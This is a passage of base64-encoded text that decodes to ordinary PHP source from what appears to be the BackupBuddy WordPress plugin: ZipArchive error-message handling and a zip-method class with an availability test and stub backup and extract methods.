A9ICJabGliIGVycm9yIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9DSEFOR0VEOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9DSEFOR0VEIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIkVudHJ5IGhhcyBiZWVuIGNoYW5nZWQiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX0NPTVBOT1RTVVBQOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9DT01QTk9UU1VQUCI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJDb21wcmVzc2lvbiBtZXRob2Qgbm90IHN1cHBvcnRlZCI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfRU9GOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9FT0YiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiUHJlbWF0dXJlIEVPRiI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfSU5URVJOQUw6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX0lOVEVSTkFMIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIkludGVybmFsIGVycm9yIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9SRU1PVkU6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX1JFTU9WRSI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJDYW4ndCByZW1vdmUgZmlsZSI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfREVMRVRFRDoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfREVMRVRFRCI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJFbnRyeSBoYXMgYmVlbiBkZWxldGVkIjsKCQkJCSAJYnJlYWs7CgkJCQkgZGVmYXVsdDoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJSX1VOS05PV04iOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiVW5rbW93biBlcnJvciI7CgkJCQl9CgkJCQkKCQkJCSRlcnJvcl9zdHJpbmcgPSAkZXJyb3JfbmFtZSAuICIoIiAuICRlcnJvciAuICIpIDogIiAuICRlcnJvcl9kZXNjcmlwdGlvbjsKCQkJCQoJCQl9CgkJCQoJCQkvLyBPbmUgd2F5IG9yIGFub3RoZXIgd2UgaGF2ZSBhIHN0cmluZyB0byByZXR1cm4KCQkJcmV0dXJuICRlcnJvcl9zdHJpbmc7CgkJCgkJfQoJCQoJfQoKCWNsYXNzIHBsdWdpbmJ1ZGR5X3piemlwemlwYXJjaGl2ZSBleHRlbmRzIHBsdWdpbmJ1ZGR5X3piemlwY29yZSB7CgkKICAgICAgICAvKioKICAgICAgICAgKiBtZXRob2QgdGFnIHVzZWQgdG8gcmVmZXIgdG8gdGhlIG1ldGhvZCBhbmQgZW50aXRpZXMgYXNzb2NpYXRlZCB3aXRoIGl0IHN1Y2ggYXMgY2xhc3MgbmFtZQogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgJF9tZXRob2RfdGFnIAlzdHJpbmcKICAgICAgICAgKi8KCQlwdWJsaWMgc3RhdGljICRfbWV0aG9kX3RhZyA9ICd6aXBhcmNoaXZlJzsKCQkJCiAgICAgICAgLyoqCiAgICAgICAgICogVGhpcyB0ZWxscyB1cyB3aGV0aGVyIHRoaXMgbWV0aG9kIGlzIHJlZ2FyZGVkIGFzIGEgImNvbXBhdGliaWxpdHkiIG1ldGhvZAogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgYm9vbAogICAgICAgICAqLwoJCXB1YmxpYyBzdGF0aWMgJF9pc19jb21wYXRpYmlsaXR5X21ldGhvZCA9IGZhbHNlOwoJCQkKICAgICAgICAvKioKICAgICAgICAgKiBUaGlzIHRlbGxzIHVzIHRoZSBkZXBlbmRlbmNpZXMgb2YgdGhpcyBtZXRob2Qgc28gdGhleSBjYW4gYmUgY2hlY2sgdG8gc2VlIGlmIHRoZSBtZXRob2QgY2FuIGJlIHN1cHBvcnRlZAogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgYXJyYXkKICAgICAgICAgKi8KCQlwdWJsaWMgc3RhdGljICRfbWV0aG9kX2RlcGVuZGVuY2llcyA9IGFycmF5KCAnY2xhc3NlcycgPT4gYXJyYXkoICdaaXBBcmNoaXZlJyApLAoJCQkJCQkJCQkJCSAgCQkgJ2Z1bmN0aW9ucycgPT4gYXJyYXkoKSwKCQkJCQkJCQkJCQkgIAkJICdleHRlbnNpb25zJyA9PiBhcnJheSgpLAoJCQkJCQkJCQkJCSAgCQkgJ2ZpbGVzJyA9PiBhcnJheSgpCgkJCQkJCQkJCQkJCQkpOwoJCQkKCQkvKioKCQkgKiAKCQkgKiBnZXRfbWV0aG9kX3RhZ19zdGF0aWMoKQoJCSAqCgkJICogR2V0IHRoZSBzdGF0aWMgbWV0aG9kIHRhZyBpbiBhIHN0YXRpYyBjb250ZXh0CgkJICoKCQkgKiBAcmV0dXJuCQlzdHJpbmcJVGhlIG1ldGhvZCB0YWcKCQkgKgoJCSAqLwoJCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0X21ldGhvZF90YWdfc3RhdGljKCkgewoJCQoJCQlyZXR1cm4gc2VsZjo6JF9tZXRob2RfdGFnOwoJCQkKCQl9CgoJCS8qKgoJCSAqIAoJCSAqIGdldF9pc19jb21wYXRpYmlsaXR5X21ldGhvZF9zdGF0aWMoKQoJCSAqCgkJICogR2V0IHRoZSBjb21wYXRpYmlsaXR5IG1ldGhvZCBpbmRpY2F0b3IgaW4gYSBzdGF0aWMgY29udGV4dAoJCSAqCgkJICogQHJldHVybgkJYm9vbAlUcnVlIGlmIGlzIGEgY29tcGF0aWJpbGl0eSBtZXRob2QKCQkgKgoJCSAqLwoJCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0X2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kX3N0YXRpYygpIHsKCQkKCQkJcmV0dXJuIHNlbGY6OiRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2Q7CgkJfQoKCQkvKioKCQkgKiAKCQkgKiBnZXRfbWV0aG9kX2RlcGVuZGVuY2llc19zdGF0aWMoKQoJCSAqCgkJICogR2V0IHRoZSBtZXRob2QgZGVwZW5kZW5jaWVzIGFycmF5IGluIGEgc3RhdGljIGNvbnRleHQKCQkgKgoJCSAqIEByZXR1cm4JCWFycmF5CVRoZSBkZXBlbmRlbmNpZXMgb2YgdGhlIG1ldGhvZCB0aGF0IGlzIHJlcXVpcmVzIHRvIGJlIGEgc3VwcG9ydGVkIG1ldGhvZAoJCSAqCgkJICovCgkJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfbWV0aG9kX2RlcGVuZGVuY2llc19zdGF0aWMoKSB7CgkJCgkJCXJldHVybiBzZWxmOjokX21ldGhvZF9kZXBlbmRlbmNpZXM7CgkJfQoKCQkvKioKCQkgKglfX2NvbnN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBjb25zdHJ1Y3Rvci4KCQkgKgkKCQkgKglAcGFyYW0JCXJlZmVyZW5jZQkmJHBhcmVudAkJW29wdGlvbmFsXSBSZWZlcmVuY2UgdG8gdGhlIG9iamVjdCBjb250YWluaW5nIHRoZSBzdGF0dXMoKSBmdW5jdGlvbiBmb3Igc3RhdHVzIHVwZGF0ZXMuCgkJICoJQHJldHVybgkJbnVsbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCAmJHBhcmVudCA9IE5VTEwgKSB7CgoJCQlwYXJlbnQ6Ol9fY29uc3RydWN0KCAkcGFyZW50ICk7CgkJCQoJCQkvLyBPdmVycmlkZSBzb21lIG9mIHBhcmVudCBkZWZhdWx0cwoJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXSA9IGFycmF5X21lcmdlKCAkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXSwKCQkJCQkJCQkJCQkJCQkJYXJyYXkoICduYW1lJyA9PiAnWmlwQXJjaGl2ZSBNZXRob2QnLAoJCQkJCQkJCQkJCQkJICAJCQkgICAnY29tcGF0aWJpbGl0eScgPT4gcGx1Z2luYnVkZHlfemJ6aXB6aXBhcmNoaXZlOjokX2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kICkKCQkJCQkJCQkJCQkJCSAgCSAgICk7CgoJCQkvLyBObyByZWxldmFudCBwYXJhbWV0ZXJzIGZvciB0aGlzIG1ldGhvZAoJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF0gPSBhcnJheSgpOwoJCQkKCQl9CgkJCgkJLyoqCgkJICoJX19kZXN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBkZXN0cnVjdG9yLgoJCSAqCQoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2Rlc3RydWN0KCApIHsKCQkKCQkJcGFyZW50OjpfX2Rlc3RydWN0KCk7CgoJCX0KCQkKCQkvKioKCQkgKglnZXRfbWV0aG9kX3RhZygpCgkJICoJCgkJICoJUmV0dXJucyB0aGUgKHN0YXRpYykgbWV0aG9kIHRhZwoJCSAqCQoJCSAqCUByZXR1cm4JCXN0cmluZyBUaGUgbWV0aG9kIHRhZwoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9tZXRob2RfdGFnKCkgewoJCQoJCQlyZXR1cm4gcGx1Z2luYnVkZHlfemJ6aXB6aXBhcmNoaXZlOjokX21ldGhvZF90YWc7CgkJCQoJCX0KCQkKCQkvKioKCQkgKglnZXRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2QoKQoJCSAqCQoJCSAqCVJldHVybnMgdGhlIChzdGF0aWMpIGlzX2NvbXBhdGliaWxpdHlfbWV0aG9kIGJvb2xlYW4KCQkgKgkKCQkgKglAcmV0dXJuCQlib29sCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kKCkgewoJCQoJCQlyZXR1cm4gcGx1Z2luYnVkZHlfemJ6aXB6aXBhcmNoaXZlOjokX2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kOwoJCQkKCQl9CgkJCgkJLyoqCgkJICoJaXNfYXZhaWxhYmxlKCkKCQkgKgkKCQkgKglBIGZ1bmN0aW9uIHRoYXQgdGVzdHMgZm9yIHRoZSBhdmFpbGFiaWxpdHkgb2YgdGhlIHNwZWNpZmljIG1ldGhvZCBhbmQgaXRzIGF2YWlsYWJsZSBtb2Rlcy4gV2lsbCB0ZXN0IGZvcgoJCSAqICBtdWx0aXBsZSBtb2RlcyAoemlwICYgdW56aXApIGFuZCBvbmx5IHJldHVybiBmYWxzZSBpZiBuZWl0aGVyIGlzIGF2YWlsYWJsZS4gQWN0dWFsIGF2YWlsYWJsZSBtb2RlcyB3aWxsCgkJICogIGJlIGluZGljYXRlZCBpbiB0aGUgbWV0aG9kIGF0dHJpYnV0ZXMuCgkJICoKCQkgKiAgTm90ZTogaW4gdGhpcyBjYXNlIGFzIHRoZSB6aXAgYW5kIHVuemlwIGNhcGFiaWxpdGllcyBhcmUgYWxsIHdyYXBwZWQgdXAgaW4gdGhlIHNhbWUgY2xhc3MgdGhlbiBpZiB3ZQoJCSAqICBjYW4gemlwIHRoZW4gd2UnbGwgYXNzdW1lIChmb3Igbm93KSB0aGF0IHdlIGNhbiB1bnppcCBhcyB3ZWxsIHNvIGF0dHJpYnV0ZXMgYXJlIHNldCBhY2NvcmRpbmdseS4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkdGVtcGRpcglUZW1wb3JhcnkgZGlyZWN0b3J5IHRvIHVzZSBmb3IgYW55IHRlc3QgZmlsZXMgKG11c3QgYmUgd3JpdGVhYmxlKQoJCSAqCUByZXR1cm4JCWJvb2wJCQkJVHJ1ZSBpZiB0aGUgbWV0aG9kIGlzIGF2YWlsYWJsZSBmb3IgYXQgbGVhc3Qgb25lIG1vZGUsIGZhbHNlIG90aGVyd2lzZQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGlzX2F2YWlsYWJsZSggJHRlbXBkaXIgKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJJHphID0gTlVMTDsKCQkJCgkJCSR0ZXN0X2ZpbGUgPSAkdGVtcGRpciAuICd0ZW1wX3Rlc3RfJyAuIHVuaXFpZCgpIC4gJy56aXAnOwoJCQkKCQkJLy8gVGhpcyBzaG91bGQgZ2l2ZSB1cyBhIG5ldyBhcmNoaXZlIG9iamVjdCwgb2Ygbm90IGNhdGNoIGl0IGFuZCBiYWlsIG91dAoJCQl0cnkgewoJCQkKCQkJCSR6YSA9IG5ldyBwbHVnaW5idWRkeV9aaXBBcmNoaXZlKCk7CgkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQoJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkKCQkJCSRlcnJvcl9zdHJpbmcgPSAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSB0ZXN0IEZBSUxFRDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoKCQkJfQoJCQkKCQkJLy8gT25seSBjb250aW51ZSBpZiB3ZSBoYXZlIGEgdmFsaWQgYXJjaGl2ZSBvYmplY3QKCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCgkJCQkvLyBUaGlzIHJldHVybnMgdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBmb3Igc29tZSBlcnJvciBzY2VuYXJpb3Mgb3IgYW4gZXJyb3IgY29kZQoJCQkJLy8gSWYgaXQgcmV0dXJuIGZhbHNlIHdlIGRvbid0IHJlYWxseSBrbm93IHdoeSAtIHRoZXJlIG1heSBoYXZlIGJlZW4gYSBXYXJuaW5nIGdlbmVyYXRlZAoJCQkJLy8gYnV0IHdlIG5lZWQgdG8gc3VwcHJlc3Mgd2FybmluZ3MgYmVjYXVzZSBvZiB0aGUgZnJlcXVlbmN5IHRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkCgkJCQkvLyBzbyB3ZSBjYW4gb25seSBpbmRpY2F0ZSBhIGdlbmVyYWwgZmFpbHVyZQoJCQkJJHJlcyA9ICR6YS0+b3BlbiggJHRlc3RfZmlsZSwgWklQQVJDSElWRTo6Q1JFQVRFIHwgWklQQVJDSElWRTo6T1ZFUldSSVRFICk7CgkJCQkKCQkJCWlmICggdHJ1ZSA9PT0gJHJlcyApIHsKCQkJCQoJCQkJCWlmICggISR6YS0+YWRkRmlsZSggX19GSUxFX18sICd0aGlzX2lzX2FfdGVzdC50eHQnKSApIHsKCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAgX18oJ1ppcEFyY2hpdmUgdGVzdCBGQUlMRUQ6IFVuYWJsZSB0byBhZGQgZmlsZSB0byB6aXAgZmlsZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbygpOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICBfXygnWmlwQXJjaGl2ZSBFcnJvcjogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRlcnJvcl9zdHJpbmcgKTsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJCWlmICggISR6YS0+Y2xvc2UoKSApIHsKCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAgX18oJ1ppcEFyY2hpdmUgdGVzdCBGQUlMRUQ6IFByb2JsZW0gY3JlYXRpbmcvY2xvc2luZyB6aXAgZmlsZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbygpOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICBfXygnWmlwQXJjaGl2ZSBFcnJvcjogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRlcnJvcl9zdHJpbmcgKTsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJCWlmICggQGZpbGVfZXhpc3RzKCAkdGVzdF9maWxlICkgKSB7CgkJCQkJCgkJCQkJCWlmICggIUB1bmxpbmsoICR0ZXN0X2ZpbGUgKSApIHsKCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Vycm9yICM1NjQ2MzQuIFVuYWJsZSB0byBkZWxldGUgdGVzdCBmaWxlIGAnIC4gJHRlc3RfZmlsZSAuICdgLicgKTsKCQkJCQkJCgkJCQkJCX0KCQkJCQkKCQkJCQkJLy8gVGhlIHppcCBvcGVyYXRpb24gd2FzIHN1Y2Nlc3NmdWwgLSBpbXBsaWVzIGNhbiB6aXAgYW5kIHVuemlwIGFuZCBoZW5jZSBjaGVjayBhbmQgbGlzdAoJCQkJCQkvLyBOb3RlOiB3ZSBhY3R1YWxseSBkb24ndCB3YW50IHRvIGRvIGFyY2hpdmluZyB3aXRoIHRoaXMgbWV0aG9kIHlldAoJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX3ppcHBlcicgXSA9IHRydWU7CgkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfdW56aXBwZXInIF0gPSB0cnVlOwoJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX2NoZWNrZXInIF0gPSB0cnVlOwoJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX2xpc3RlcicgXSA9IHRydWU7CgkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfY29tbWVudGVyJyBdID0gdHJ1ZTsKCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF1bICdpc191bmFyY2hpdmVyJyBdID0gdHJ1ZTsKCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF1bICdpc19leHRyYWN0b3InIF0gPSB0cnVlOwoJCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnWmlwQXJjaGl2ZSB0ZXN0IFBBU1NFRC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXBBcmNoaXZlIHRlc3QgRkFJTEVEOiBaaXAgZmlsZSBub3QgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICBfXygnWmlwQXJjaGl2ZSB0ZXN0IEZBSUxFRDogVW5hYmxlIHRvIGNyZWF0ZS9vcGVuIHppcCBmaWxlLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkKCQkJCQkvLyBJZiB3ZSBnb3QgYW4gZXJyb3IgY29kZSAocmF0aGVyIHRoYW4gc2ltcGx5IGEgZmFsc2UgZmFpbHVyZSBpbmRpY2F0aW9uKSB0aGVuIHRyYW5zbGF0ZSBpdAoJCQkJCS8vIEl0IHNlZW1zIHRoYXQgaW4gdGhlc2UgY2FzZXMgdGhlIGludGVybmFsIHN0YXR1cyBkb2Vzbid0IGluZGljYXRlIGFueXRoaW5nIHNvIHdlIGNhbm5vdCB1c2UgdGhhdAoJCQkJCWlmICggZmFsc2UgIT09ICRyZXMgKSB7CgkJCQkJCgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbyggJHJlcyApOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICBfXygnWmlwQXJjaGl2ZSBFcnJvcjogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRlcnJvcl9zdHJpbmcgKTsKCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQkJJHphLT5jbG9zZSgpOwoJCQkJCQoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJICAJCgkJICAJaWYgKCBOVUxMICE9ICR6YSApIHsgdW5zZXQoICR6YSApOyB9CgkJICAJCgkJICAJcmV0dXJuICRyZXN1bHQ7CgkJICAJCgkJfQoJCQoJCS8qKgoJCSAqCWFkZF92aXJ0dWFsX2ZpbGUoKQoJCSAqCQoJCSAqCUEgZnVuY3Rpb24gdGhhdCBhbGxvd3MgYSB2aXJ0dWFsIGZpbGUgdG8gYmUgYWRkZWQgdG8gYSB6aXAgYXJjaGl2ZQoJCSAqCQoJCSAqCVRoZSB2aXJ0dWFsIGZpbGUgZGVzY3JpcHRvciBpcyBhbiBhcnJheSBvZiBkZXNjcmlwdG9yIGFycmF5KHMpIHRoYXQgcHJvdmlkZSBhIGZpbGVuYW1lCgkJICoJZm9yIHRoZSB2aXJ0dWFsIGZpbGUgdG8gYmUgYWRkZWQgKGNhbiBpbmNsdWRlIHBhdGggcHJlZml4KSBhbmQgYSBzdHJpbmcgdGhhdCBjb250YWlucyB0aGUKCQkgKglmaWxlIGNvbnRlbnQgKGNhbiBiZSBlbXB0eSBidXQgbXVzdCBiZSBwcmVzZW50KS4gRm9yIGV4YW1wbGU6CgkJICoJYXJyYXkoIGFycmF5KCAnZmlsZW5hbWUnID0+ICdzb21lZmlsZS50eHQnLCAnY29udGVudCcgPT4gJ0EgVGV4dCBTdHJpbmcnICkgKQoJCSAqCU5vdGUgdGhhdCB0aGUgYWN0dWFsIHppcCBmaWxlIHRvIHdoaWNoIHRoZSBmaWxlIGlzIGFkZGVkIGlzIGZvcm1lZCBmcm9tIHRoZSBmaWxlbmFlbSBmcm9tCgkJICoJdGhlICR6aXAgcGFyYW1ldGVyIGFwcGFlbmRlZCB0byB0aGUgJHRlbXBkaXIgZGlyZWN0b3J5IHBhdGguIFRoaXMgaXMgc2xpZ2h0bHkgY2x1bmt5IGFuZAoJCSAqCW1heSBiZSBjaGFuZ2VkIGF0IHNvbWUgbGF0ZXIgZGF0ZS4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwCQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIEFyY2hpdmUgZmlsZSB0byBhZGQgZmlsZSB0bwoJCSAqCUBwYXJhbQkJYXJyYXkJJHZpcnR1YWxfZmlsZV9kZXNjcmlwdG9yCUZ1bGwgZGVzY3JpcHRvciBvZiBmaWxlKHMpIHRvIGFkZCB0byBaSVAgQXJjaGl2ZSBmaWxlCgkJICoJQHBhcmFtCQlzdHJpbmcJJHRlbXBkaXIJCQkJCUZ1bGwgcGF0aCBvZiBkaXJlY3RvcnkgZm9yIHRlbXBvcmFyeSB1c2FnZQoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCQkJCVRydWUgaWYgdGhlIGFkZGl0aW9uIHdhcyBzdWNjZXNzZnVsLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBhZGRfdmlydHVhbF9maWxlKCAkemlwLCAkdmlydHVhbF9maWxlX2Rlc2NyaXB0b3IsICR0ZW1wZGlyICkgewoJCQkJCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1RoZSAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHRoaXMtPmdldF9tZXRob2RfdGFnKCkgLiBfXygnIG1ldGhvZCBpcyBub3QgY3VycmVudGx5IHN1cHBvcnRlZCBmb3IgYmFja3VwLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCQoJCX0KCQkKCQkvKioKCQkgKgljcmVhdGUoKQoJCSAqCQoJCSAqCUEgZnVuY3Rpb24gdGhhdCBjcmVhdGVzIGFuIGFyY2hpdmUgZmlsZQoJCSAqCQoJCSAqCVRoZSAkZXhjbHVkZXMgd2lsbCBiZSBhIGxpc3Qgb3IgcmVsYXRpdmUgcGF0aCBleGNsdWRlcyBpZiB0aGUgJGxpc3RtYWtlciBvYmplY3QgaXMgTlVMTCBvdGVocndpc2UKCQkgKgl3aWxsIGJlIGFic29sdXRlIHBhdGggZXhjbHVkZXMgYW5kIHJlbGF0aXZlIHBhdGggZXhjbHVkZXMgY2FuIGJlIGhhZCBmcm9tIHRoZSAkbGlzdG1ha2VyIG9iamVjdAoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR6aXAJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgQXJjaGl2ZSBmaWxlIHRvIGNyZWF0ZQoJCSAqCUBwYXJhbQkJc3RyaW5nCSRkaXIJCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IHRvIGFkZCB0byBaSVAgQXJjaGl2ZSBmaWxlCgkJICoJQHBhcmFtZQkJYXJyYXkJJGV4Y2x1ZGVzCQlMaXN0IG9mIGVpdGhlciBhYnNvbHV0ZSBwYXRoIGV4Y2x1c2lvbnMgb3IgcmVsYXRpdmUgZXhjbHVzaW9ucwoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IGZvciB0ZW1wb3JhcnkgdXNhZ2UKCQkgKglAcGFyYW0JCW9iamVjdAkkbGlzdG1ha2VyCQlUaGUgb2JqZWN0IGZyb20gd2hpY2ggd2UgY2FuIGdldCBhbiBpbmNsdXNpb25zIGxpc3QKCQkgKglAcmV0dXJuCQlib29sCQkJCQlUcnVlIGlmIHRoZSBjcmVhdGlvbiB3YXMgc3VjY2Vzc2Z1bCwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCAkemlwLCAkZGlyLCAkZXhjbHVkZXMsICR0ZW1wZGlyLCAkbGlzdG1ha2VyID0gTlVMTCApIHsKCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVGhlICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkdGhpcy0+Z2V0X21ldGhvZF90YWcoKSAuIF9fKCcgbWV0aG9kIGlzIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkIGZvciBiYWNrdXAuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQlyZXR1cm4gZmFsc2U7CgkJCgkJfQoJCQoJCS8qKgoJCSAqCWV4dHJhY3QoKQoJCSAqCgkJICoJRXh0cmFjdHMgdGhlIGNvbnRlbnRzIG9mIGEgemlwIGZpbGUgdG8gdGhlIHNwZWNpZmllZCBkaXJlY3RvcnkgdXNpbmcgdGhlIGJlc3QgdW56aXAgbWV0aG9kcyBwb3NzaWJsZS4KCQkgKglJZiBubyBzcGVjaWZpYyBpdGVtcyBnaXZlbiB0byBleHRyYWN0IHRoZW4gaXQncyBhIGNvbXBsZXRlIHVuemlwCgkJICoKCQkgKglAcGFyYW0Jc3RyaW5nCQkkemlwX2ZpbGUJCQkJCUZ1bGwgcGF0aCAmIGZpbGVuYW1lIG9mIFpJUCBmaWxlIHRvIGV4dHJhY3QgZnJvbS4KCQkgKglAcGFyYW0Jc3RyaW5nCQkkZGVzdGluYXRpb25fZGlyZWN0b3J5CQlGdWxsIGRpcmVjdG9yeSBwYXRoIHRvIGV4dHJhY3QgaW50by4KCQkgKglAcGFyYW0JYXJyYXkJCSRpdGVtcwkJCQkJCU1hcHBpbmcgb2Ygd2hhdCB0byBleHRyYWN0IGFuZCB0byB3aGF0CgkJICoJQHJldHVybglib29sCQkJCQkJCQkJdHJ1ZSBvbiBzdWNjZXNzIChhbGwgZXh0cmFjdGlvbnMgc3VjY2Vzc2Z1bCksIGZhbHNlIG90aGVyd2lzZQoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBleHRyYWN0KCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY